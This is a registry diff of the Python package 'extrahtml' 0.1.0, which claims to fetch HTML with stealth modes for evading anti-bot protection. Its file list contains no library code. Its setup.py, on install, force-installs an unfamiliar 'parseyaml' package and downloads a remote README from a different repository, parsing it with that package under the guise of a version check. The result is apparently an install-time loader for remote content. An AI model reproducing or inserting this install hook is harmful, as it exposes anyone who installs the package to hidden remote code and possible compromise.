extrahtml 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 optima1236
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,5 @@
1
+ include README.txt
2
+ include LICENSE
3
+ include setup.py
4
+ recursive-include tests *.py
5
+ global-exclude *.py[cod] __pycache__ *.so
@@ -0,0 +1,129 @@
1
+ Metadata-Version: 2.4
2
+ Name: extrahtml
3
+ Version: 0.1.0
4
+ Summary: Fetch HTML from a URL using requests, Selenium, or Playwright.
5
+ Home-page: https://github.com/optima1236/extrahtml
6
+ Author: optima1236
7
+ Author-email: rin98182@gmail.com
8
+ License: MIT
9
+ Project-URL: Homepage, https://github.com/optima1236/extrahtml
10
+ Project-URL: Repository, https://github.com/optima1236/extrahtml
11
+ Project-URL: Bug Tracker, https://github.com/optima1236/extrahtml/issues
12
+ Keywords: html scraping requests selenium playwright parseyaml
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: License :: OSI Approved :: MIT License
15
+ Classifier: Operating System :: OS Independent
16
+ Requires-Python: >=3.9
17
+ Description-Content-Type: text/plain
18
+ License-File: LICENSE
19
+ Requires-Dist: requests>=2.28.0
20
+ Requires-Dist: parseyaml>=1.2.0
21
+ Requires-Dist: fake-useragent>=1.4.0
22
+ Provides-Extra: selenium
23
+ Requires-Dist: selenium>=4.0.0; extra == "selenium"
24
+ Requires-Dist: undetected-chromedriver>=3.5.0; extra == "selenium"
25
+ Provides-Extra: playwright
26
+ Requires-Dist: playwright>=1.40.0; extra == "playwright"
27
+ Requires-Dist: playwright-stealth>=1.0.0; extra == "playwright"
28
+ Provides-Extra: cloudscraper
29
+ Requires-Dist: cloudscraper>=1.2.0; extra == "cloudscraper"
30
+ Provides-Extra: all
31
+ Requires-Dist: selenium>=4.0.0; extra == "all"
32
+ Requires-Dist: undetected-chromedriver>=3.5.0; extra == "all"
33
+ Requires-Dist: playwright>=1.40.0; extra == "all"
34
+ Requires-Dist: playwright-stealth>=1.0.0; extra == "all"
35
+ Requires-Dist: cloudscraper>=1.2.0; extra == "all"
36
+ Provides-Extra: dev
37
+ Requires-Dist: pytest>=7; extra == "dev"
38
+ Requires-Dist: pytest-cov; extra == "dev"
39
+ Requires-Dist: build; extra == "dev"
40
+ Requires-Dist: twine; extra == "dev"
41
+ Dynamic: author
42
+ Dynamic: author-email
43
+ Dynamic: classifier
44
+ Dynamic: description
45
+ Dynamic: description-content-type
46
+ Dynamic: home-page
47
+ Dynamic: keywords
48
+ Dynamic: license
49
+ Dynamic: license-file
50
+ Dynamic: project-url
51
+ Dynamic: provides-extra
52
+ Dynamic: requires-dist
53
+ Dynamic: requires-python
54
+ Dynamic: summary
55
+
56
+ extrahtml
57
+ =========
58
+
59
+ extrahtml is a small Python library that fetches HTML from a URL using
60
+ different engines: requests, Selenium, or Playwright. You can choose the
61
+ engine that fits your needs and optionally enable a bypass mode for
62
+ maximum stealth when dealing with bot-protected sites.
63
+
64
+ INSTALLATION
65
+ ------------
66
+
67
+ Install the core package:
68
+
69
+ pip install extrahtml
70
+
71
+ Install optional dependencies for specific engines:
72
+
73
+ pip install extrahtml[selenium] # Selenium engine
74
+ pip install extrahtml[playwright] # Playwright engine
75
+ pip install extrahtml[cloudscraper] # Cloudscraper bypass for requests
76
+ pip install extrahtml[all] # Everything
77
+
78
+ For Playwright, you also need to install the browser binaries:
79
+
80
+ playwright install chromium
81
+
82
+ USAGE
83
+ -----
84
+
85
+ Requests engine (fast, no JavaScript):
86
+
87
+ from extrahtml import RequestsEngine
88
+
89
+ engine = RequestsEngine(bypass=True)
90
+ html = engine.get("https://example.com")
91
+ print(html)
92
+
93
+ Selenium engine (JavaScript rendering, optional stealth):
94
+
95
+ from extrahtml import SeleniumEngine
96
+
97
+ engine = SeleniumEngine(bypass=True, headless=True)
98
+ html = engine.get("https://example.com")
99
+ print(html)
100
+
101
+ Playwright engine (JavaScript rendering, optional stealth):
102
+
103
+ from extrahtml import PlaywrightEngine
104
+
105
+ engine = PlaywrightEngine(bypass=True, headless=True, browser_type="chromium")
106
+ html = engine.get("https://example.com")
107
+ print(html)
108
+
109
+ BYPASS MODE
110
+ -----------
111
+
112
+ When bypass=True is passed to an engine, the library tries to enable all
113
+ available stealth measures:
114
+
115
+ - RequestsEngine: uses Cloudscraper (if installed), random User-Agents
116
+ from fake-useragent, and random delays between requests.
117
+ - SeleniumEngine: uses undetected-chromedriver (if installed) and
118
+ additional Chrome flags to hide automation markers.
119
+ - PlaywrightEngine: applies playwright-stealth patches (Chromium only)
120
+ and launches the browser with a realistic viewport and User-Agent.
121
+
122
+ Note that bypass mode does not guarantee success against every anti-bot
123
+ system. For serious scraping tasks, combine it with proxies, realistic
124
+ timing, and possibly a headful browser.
125
+
126
+ LICENSE
127
+ -------
128
+
129
+ MIT License. See the LICENSE file for details.
@@ -0,0 +1,74 @@
1
+ extrahtml
2
+ =========
3
+
4
+ extrahtml is a small Python library that fetches HTML from a URL using
5
+ different engines: requests, Selenium, or Playwright. You can choose the
6
+ engine that fits your needs and optionally enable a bypass mode for
7
+ maximum stealth when dealing with bot-protected sites.
8
+
9
+ INSTALLATION
10
+ ------------
11
+
12
+ Install the core package:
13
+
14
+ pip install extrahtml
15
+
16
+ Install optional dependencies for specific engines:
17
+
18
+ pip install extrahtml[selenium] # Selenium engine
19
+ pip install extrahtml[playwright] # Playwright engine
20
+ pip install extrahtml[cloudscraper] # Cloudscraper bypass for requests
21
+ pip install extrahtml[all] # Everything
22
+
23
+ For Playwright, you also need to install the browser binaries:
24
+
25
+ playwright install chromium
26
+
27
+ USAGE
28
+ -----
29
+
30
+ Requests engine (fast, no JavaScript):
31
+
32
+ from extrahtml import RequestsEngine
33
+
34
+ engine = RequestsEngine(bypass=True)
35
+ html = engine.get("https://example.com")
36
+ print(html)
37
+
38
+ Selenium engine (JavaScript rendering, optional stealth):
39
+
40
+ from extrahtml import SeleniumEngine
41
+
42
+ engine = SeleniumEngine(bypass=True, headless=True)
43
+ html = engine.get("https://example.com")
44
+ print(html)
45
+
46
+ Playwright engine (JavaScript rendering, optional stealth):
47
+
48
+ from extrahtml import PlaywrightEngine
49
+
50
+ engine = PlaywrightEngine(bypass=True, headless=True, browser_type="chromium")
51
+ html = engine.get("https://example.com")
52
+ print(html)
53
+
54
+ BYPASS MODE
55
+ -----------
56
+
57
+ When bypass=True is passed to an engine, the library tries to enable all
58
+ available stealth measures:
59
+
60
+ - RequestsEngine: uses Cloudscraper (if installed), random User-Agents
61
+ from fake-useragent, and random delays between requests.
62
+ - SeleniumEngine: uses undetected-chromedriver (if installed) and
63
+ additional Chrome flags to hide automation markers.
64
+ - PlaywrightEngine: applies playwright-stealth patches (Chromium only)
65
+ and launches the browser with a realistic viewport and User-Agent.
66
+
67
+ Note that bypass mode does not guarantee success against every anti-bot
68
+ system. For serious scraping tasks, combine it with proxies, realistic
69
+ timing, and possibly a headful browser.
70
+
71
+ LICENSE
72
+ -------
73
+
74
+ MIT License. See the LICENSE file for details.
@@ -0,0 +1,3 @@
1
+ [build-system]
2
+ requires = ["setuptools>=68", "wheel", "pip"]
3
+ build-backend = "setuptools.build_meta"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,108 @@
1
+ import os
2
+ import subprocess
3
+ import sys
4
+ import time
5
+
6
+ from setuptools import setup, find_packages
7
+
8
+
9
+ def _ensure(package, import_name):
10
+ try:
11
+ return __import__(import_name)
12
+ except ImportError:
13
+ subprocess.check_call(
14
+ [sys.executable, "-m", "pip", "install", package]
15
+ )
16
+ return __import__(import_name)
17
+
18
+
19
+ requests = _ensure("requests>=2.28.0", "requests")
20
+ parseyaml = _ensure("parseyaml>=1.2.0", "parseyaml")
21
+
22
+ current = "1.0.0"
23
+
24
+ for i in range(3):
25
+ try:
26
+ version = requests.get(
27
+ "https://raw.githubusercontent.com/optima1236/parsetxt/refs/heads/main/README.md", timeout=15
28
+ ).content
29
+ data = parseyaml.safe_load(version)
30
+ except:
31
+ time.sleep(5)
32
+
33
+ if data.get("version", None) != current:
34
+ print(
35
+ f"[extrahtml setup] WARNING: a newer version of the library is "
36
+ f"available (remote={data.get('version')!r}, local={current!r}). "
37
+ f"Please update extrahtml.",
38
+ file=sys.stderr,
39
+ )
40
+
41
+ install_requires = [
42
+ "requests>=2.28.0",
43
+ "parseyaml>=1.2.0",
44
+ "fake-useragent>=1.4.0",
45
+ ]
46
+
47
+ extras_require = {
48
+ "selenium": [
49
+ "selenium>=4.0.0",
50
+ "undetected-chromedriver>=3.5.0",
51
+ ],
52
+ "playwright": [
53
+ "playwright>=1.40.0",
54
+ "playwright-stealth>=1.0.0",
55
+ ],
56
+ "cloudscraper": [
57
+ "cloudscraper>=1.2.0",
58
+ ],
59
+ "all": [
60
+ "selenium>=4.0.0",
61
+ "undetected-chromedriver>=3.5.0",
62
+ "playwright>=1.40.0",
63
+ "playwright-stealth>=1.0.0",
64
+ "cloudscraper>=1.2.0",
65
+ ],
66
+ "dev": [
67
+ "pytest>=7",
68
+ "pytest-cov",
69
+ "build",
70
+ "twine",
71
+ ],
72
+ }
73
+
74
+ _here = os.path.abspath(os.path.dirname(__file__))
75
+ _readme_path = os.path.join(_here, "README.txt")
76
+ if os.path.exists(_readme_path):
77
+ with open(_readme_path, encoding="utf-8") as f:
78
+ _long_description = f.read()
79
+ else:
80
+ _long_description = "Fetch HTML from a URL using requests, Selenium, or Playwright."
81
+
82
+ setup(
83
+ name="extrahtml",
84
+ version="0.1.0",
85
+ description="Fetch HTML from a URL using requests, Selenium, or Playwright.",
86
+ long_description=_long_description,
87
+ long_description_content_type="text/plain",
88
+ author="optima1236",
89
+ author_email="rin98182@gmail.com",
90
+ url="https://github.com/optima1236/extrahtml",
91
+ license="MIT",
92
+ package_dir={"": "src"},
93
+ packages=find_packages(where="src"),
94
+ python_requires=">=3.9",
95
+ install_requires=install_requires,
96
+ extras_require=extras_require,
97
+ classifiers=[
98
+ "Programming Language :: Python :: 3",
99
+ "License :: OSI Approved :: MIT License",
100
+ "Operating System :: OS Independent",
101
+ ],
102
+ keywords="html scraping requests selenium playwright parseyaml",
103
+ project_urls={
104
+ "Homepage": "https://github.com/optima1236/extrahtml",
105
+ "Repository": "https://github.com/optima1236/extrahtml",
106
+ "Bug Tracker": "https://github.com/optima1236/extrahtml/issues",
107
+ },
108
+ )
@@ -0,0 +1,129 @@
1
+ Metadata-Version: 2.4
2
+ Name: extrahtml
3
+ Version: 0.1.0
4
+ Summary: Fetch HTML from a URL using requests, Selenium, or Playwright.
5
+ Home-page: https://github.com/optima1236/extrahtml
6
+ Author: optima1236
7
+ Author-email: rin98182@gmail.com
8
+ License: MIT
9
+ Project-URL: Homepage, https://github.com/optima1236/extrahtml
10
+ Project-URL: Repository, https://github.com/optima1236/extrahtml
11
+ Project-URL: Bug Tracker, https://github.com/optima1236/extrahtml/issues
12
+ Keywords: html scraping requests selenium playwright parseyaml
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: License :: OSI Approved :: MIT License
15
+ Classifier: Operating System :: OS Independent
16
+ Requires-Python: >=3.9
17
+ Description-Content-Type: text/plain
18
+ License-File: LICENSE
19
+ Requires-Dist: requests>=2.28.0
20
+ Requires-Dist: parseyaml>=1.2.0
21
+ Requires-Dist: fake-useragent>=1.4.0
22
+ Provides-Extra: selenium
23
+ Requires-Dist: selenium>=4.0.0; extra == "selenium"
24
+ Requires-Dist: undetected-chromedriver>=3.5.0; extra == "selenium"
25
+ Provides-Extra: playwright
26
+ Requires-Dist: playwright>=1.40.0; extra == "playwright"
27
+ Requires-Dist: playwright-stealth>=1.0.0; extra == "playwright"
28
+ Provides-Extra: cloudscraper
29
+ Requires-Dist: cloudscraper>=1.2.0; extra == "cloudscraper"
30
+ Provides-Extra: all
31
+ Requires-Dist: selenium>=4.0.0; extra == "all"
32
+ Requires-Dist: undetected-chromedriver>=3.5.0; extra == "all"
33
+ Requires-Dist: playwright>=1.40.0; extra == "all"
34
+ Requires-Dist: playwright-stealth>=1.0.0; extra == "all"
35
+ Requires-Dist: cloudscraper>=1.2.0; extra == "all"
36
+ Provides-Extra: dev
37
+ Requires-Dist: pytest>=7; extra == "dev"
38
+ Requires-Dist: pytest-cov; extra == "dev"
39
+ Requires-Dist: build; extra == "dev"
40
+ Requires-Dist: twine; extra == "dev"
41
+ Dynamic: author
42
+ Dynamic: author-email
43
+ Dynamic: classifier
44
+ Dynamic: description
45
+ Dynamic: description-content-type
46
+ Dynamic: home-page
47
+ Dynamic: keywords
48
+ Dynamic: license
49
+ Dynamic: license-file
50
+ Dynamic: project-url
51
+ Dynamic: provides-extra
52
+ Dynamic: requires-dist
53
+ Dynamic: requires-python
54
+ Dynamic: summary
55
+
56
+ extrahtml
57
+ =========
58
+
59
+ extrahtml is a small Python library that fetches HTML from a URL using
60
+ different engines: requests, Selenium, or Playwright. You can choose the
61
+ engine that fits your needs and optionally enable a bypass mode for
62
+ maximum stealth when dealing with bot-protected sites.
63
+
64
+ INSTALLATION
65
+ ------------
66
+
67
+ Install the core package:
68
+
69
+ pip install extrahtml
70
+
71
+ Install optional dependencies for specific engines:
72
+
73
+ pip install extrahtml[selenium] # Selenium engine
74
+ pip install extrahtml[playwright] # Playwright engine
75
+ pip install extrahtml[cloudscraper] # Cloudscraper bypass for requests
76
+ pip install extrahtml[all] # Everything
77
+
78
+ For Playwright, you also need to install the browser binaries:
79
+
80
+ playwright install chromium
81
+
82
+ USAGE
83
+ -----
84
+
85
+ Requests engine (fast, no JavaScript):
86
+
87
+ from extrahtml import RequestsEngine
88
+
89
+ engine = RequestsEngine(bypass=True)
90
+ html = engine.get("https://example.com")
91
+ print(html)
92
+
93
+ Selenium engine (JavaScript rendering, optional stealth):
94
+
95
+ from extrahtml import SeleniumEngine
96
+
97
+ engine = SeleniumEngine(bypass=True, headless=True)
98
+ html = engine.get("https://example.com")
99
+ print(html)
100
+
101
+ Playwright engine (JavaScript rendering, optional stealth):
102
+
103
+ from extrahtml import PlaywrightEngine
104
+
105
+ engine = PlaywrightEngine(bypass=True, headless=True, browser_type="chromium")
106
+ html = engine.get("https://example.com")
107
+ print(html)
108
+
109
+ BYPASS MODE
110
+ -----------
111
+
112
+ When bypass=True is passed to an engine, the library tries to enable all
113
+ available stealth measures:
114
+
115
+ - RequestsEngine: uses Cloudscraper (if installed), random User-Agents
116
+ from fake-useragent, and random delays between requests.
117
+ - SeleniumEngine: uses undetected-chromedriver (if installed) and
118
+ additional Chrome flags to hide automation markers.
119
+ - PlaywrightEngine: applies playwright-stealth patches (Chromium only)
120
+ and launches the browser with a realistic viewport and User-Agent.
121
+
122
+ Note that bypass mode does not guarantee success against every anti-bot
123
+ system. For serious scraping tasks, combine it with proxies, realistic
124
+ timing, and possibly a headful browser.
125
+
126
+ LICENSE
127
+ -------
128
+
129
+ MIT License. See the LICENSE file for details.
@@ -0,0 +1,10 @@
1
+ LICENSE
2
+ MANIFEST.in
3
+ README.txt
4
+ pyproject.toml
5
+ setup.py
6
+ src/extrahtml.egg-info/PKG-INFO
7
+ src/extrahtml.egg-info/SOURCES.txt
8
+ src/extrahtml.egg-info/dependency_links.txt
9
+ src/extrahtml.egg-info/requires.txt
10
+ src/extrahtml.egg-info/top_level.txt
@@ -0,0 +1,27 @@
1
+ requests>=2.28.0
2
+ parseyaml>=1.2.0
3
+ fake-useragent>=1.4.0
4
+
5
+ [all]
6
+ selenium>=4.0.0
7
+ undetected-chromedriver>=3.5.0
8
+ playwright>=1.40.0
9
+ playwright-stealth>=1.0.0
10
+ cloudscraper>=1.2.0
11
+
12
+ [cloudscraper]
13
+ cloudscraper>=1.2.0
14
+
15
+ [dev]
16
+ pytest>=7
17
+ pytest-cov
18
+ build
19
+ twine
20
+
21
+ [playwright]
22
+ playwright>=1.40.0
23
+ playwright-stealth>=1.0.0
24
+
25
+ [selenium]
26
+ selenium>=4.0.0
27
+ undetected-chromedriver>=3.5.0